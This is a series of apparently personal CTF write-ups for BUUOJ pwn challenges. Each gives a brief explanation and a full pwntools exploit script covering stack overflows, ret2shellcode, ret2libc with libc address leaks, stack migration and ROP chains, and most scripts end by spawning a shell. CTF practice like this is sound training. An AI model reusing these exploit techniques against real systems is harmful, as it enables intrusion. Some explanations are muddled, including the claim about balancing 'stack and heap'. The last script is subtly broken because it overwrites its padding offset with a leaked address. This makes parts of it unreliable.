get_started_3dsctf_2016
The gets function is dangrous, we can overflow the stack by input massive characters.
After we overflowing the stack, we can jump to the get_flag function.
When we are in the get_flag function, we have to pass two parameters a1, a2.
Then the question is, how should I pass two parameters?
- fill the stack: padding * offset
- we need to jump to the get_flag function: get_flag address
- In the most critical step, the cause of passing two parameters, we need to add the get_flag return address to follow the get_flag address to keep the stack and heap balanced
- The parameters must be hexcimal type.
Here is the exploit
from pwn import *
context(os='linux',log_level='debug')
# io = process('pwn12')
io = remote('node4.buuoj.cn',28428)
offset = 56
padding = b'A'
get_flag = 0x080489a0
get_flag_ret = 0x0804E6A0
a1 = 0x308CD64F
a2 = 0x195719D1
payload = padding*offset + p32(get_flag) + p32(get_flag_ret) + p32(a1) + p32(a2)
sleep(0.5)
io.sendline(payload)
io.interactive()
ciscn_2019_n_5
Because of NX disabled, we can try ret2shellcode to attack the file.
The key step is finding the .bss to write and execute it. So we can add the ‘name’ address to overwrite the return to execute our malicious shellcode in ‘name’.
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
# io = process('./pwn17')
io = remote('node4.buuoj.cn',28680)
elf = ELF('./pwn17')
offset = 32+8
padding = b'A'
name = 0x601080
shellcode = asm(shellcraft.sh())
payload = padding*offset + p64(name)
io.sendlineafter("tell me your name\n",shellcode)
io.sendlineafter("What do you want to say to me?\n",payload)
io.interactive()
others_shellcode
a piece of cake:–)
ciscn_2019_ne_5
NX enabled, we can’t use ret2shellcode, but we can attack by ret2libc :_)
We observed source code in IDA PRO, the running step of the whole program can be clearly understood. The whole program is always looping the swich branch.
And we found the hidden branch, when we input 4, we will jump to the get_flag function.
If we input the 1, we will jump to AddLog function, we can input a 128 length string. The function returns the string which we input, and then we can use the GetFlag Function to exploit the program.
After our careful search, we found the vulnerable function strcpy
Therefore, the whole exploit process is as follows:
- input a 0x48+4 length padding to overwrite the array dest.
- we can add the system address and str_bin_sh address following the padding
We can input massive characters in dest, and get the shell with leaking addresses of system and sh.
from pwn import *
context(log_level='debug')
# io = process('./pwn19')
io = remote('node4j.buuoj.cn',28264)
offset = 0x4c # 0x48+4
padding = b'A'
system = 0x080484d0
sh = 0x080482ea
payload = offset*padding + p32(system) + padding*4 + p32(sh)
io.sendlineafter("Please input admin password:",b'administrator') # Enter Password
io.sendlineafter(":",b'1') # add log
io.sendlineafter(":",payload) # input payload
io.sendlineafter(":",b'4') # stack overflow -> get shell
# io.recv()
io.interactive()
铁人三项(第五赛区)_2018_rop
After observing main function, there’s a function full of hints.
There’s typical vulnerability in this function.
We don’t find any available string in this program. So we can try attack by ret2libc.
We need the [read/write/printf] function to leak the significant address to us.
Attack chain is as followed:
leak the address -> leak libc version -> find the system and str_bin_sh -> getshell
payload = padding * offset + funcplt + ret_addr + [parameter/leak function]
from pwn import *
from LibcSearcher import *
context(log_level='debug')
# io = process('./pwn20')
io = remote('node4j.buuoj.cn',28147)
elf = ELF('./pwn20')
# io = remote('node4j.buuoj.cn')
padding = b'A'
offset = 136+4
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
payload = padding*offset + p32(write_plt) + p32(main_addr) + p32(1)+p32(write_got) + p32(4)
io.sendline(payload)
write_offset = u32(io.recv()[0:4])
print('[+] Get the write offset: ',hex(write_offset))
libc = LibcSearcher('write',write_offset)
libc_base = write_offset - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
payload = padding * offset + p32(system_addr) + p32(1) + p32(str_bin_sh)
io.sendline(payload)
io.interactive()
ciscn_2019_es_2 [stack hijack!]
After observing the source code in IDA PRO, we found the vulnerable function in vul. Obviously, we can overflow the stack, but there is a little stack space we can use. Padding take 0x28, only 0x2 bytes space we can use which only can overwirte the return address.
So if we wanna continue using the ROP in the limit stack space, we have to use stack migration attack.
leave = mov ebp, esp; pop ebp;
ret = pop eip;
If the stack space isn’t limited, our shellcode can get the shell.
ebp |
---|
str_bin_sh |
system_addr |
b’A’*4(Overwrite the ret address) |
padding |
esp |
This challenge set the stack space is 0x30, we have to hijack the stack return address.
leave_ret |
---|
ret_value = ebp-offset |
str_bin_sh |
padding * 4 (padding for system call) |
system_address |
padding |
hould we do the stack migration?
- calculate the offset between esp and ebp.
- find the leave address to make stack and heap balance
We input the padding in the program, we can observe the stack through pwndgb.
We can the offset between esp and ebp is 0x38 (0xffffd0d8 - 0xffffd0a0 or 0xffffd0e8 - 0xffffd0b0 )
Search the leave traits address in IDA PRO.
from pwn import *
context(os='linux', log_level='debug')
# io = process('./pwn25')
elf = ELF('./pwn25')
io = remote('node4j.buuoj.cn',29257)
padding = b'A'
offset = 40
flag = 0x0804854b
leave_addr = 0x08048562
system_addr = elf.sym['system']
# Because we can input the 0x28 character, but the read function can read 0x30
# we can leak the esp address
payload = padding * offset
io.send(payload)
ebp_addr = u32(io.recv(4)) - 0x38 # esp - offset = ebp
log.info("ebp: ",hex(ebp_addr))
payload2 = padding * 4 + p32(system_addr) + padding * 4 + p32(ebp_addr+0x10) + b"/bin/sh"
payload2 = payload2.ljust(0x28,b'\x00')
payload2 += p32(ebp_addr) + p32(leave_addr)
io.send(payload2)
io.interactive()
[HarekazeCTF2019]baby_rop2
Obviously, we can use the ret2libc attack this challenge.
if we use printf function to leak address, we better change the register rsi to make the program run normally.
int printf( const char* format , [argument] … );
- we have to pass the format, we cau use the 0x40070
- we have to change register
printf function pass arguments through register rsi, so we have to pop the rsi and change his default value.
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# io = process('./pwn26')
io = remote('node4j.buuoj.cn',29722)
elf = ELF('./pwn26')
libc = ELF('libc.so.6')
padding = b'A'
offset = 32 + 8
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_addr = elf.sym['main']
pop_rdi = 0x400733
pop_rsi_r15 = 0x400731
format_ = 0x400770
ret_addr = 0x4004d1
payload = padding*offset + p64(pop_rdi) + p64(format_) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_addr)
# payload = padding*offset + p64(pop_rdi) + p64(elf.got['__libc_start_main']) + p64(printf_plt) + p64(main_addr)
# The point make me confusing:
# To be honestly, I donot know why we can pass the main_got address without
# changing the register rsi to printf function
io.sendlineafter("What's your name? ",payload)
offset = u64(io.recvuntil('\x7f')[-6:].ljust(0x8,b'\x00'))
# This line must be the ticky point in the expolit.
# According the pwn master online, the address we ususally accept starts with '\x7f'
print('[*] offset', hex(offset))
# libc_base = offset - libc.sym['__libc_start_main']
libc_base = offset - libc.sym['read']
system_addr = libc_base + libc.sym['system']
str_bin_sh = libc_base + next(libc.search(b"/bin/sh"))
print("libc_base: ",hex(libc_base))
print("system_addr: ",hex(system_addr))
print("str_bin_sh: ",hex(str_bin_sh))
payload = padding * offset + p64(ret_addr) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr) + padding * 8
io.sendline(payload)
io.interactive()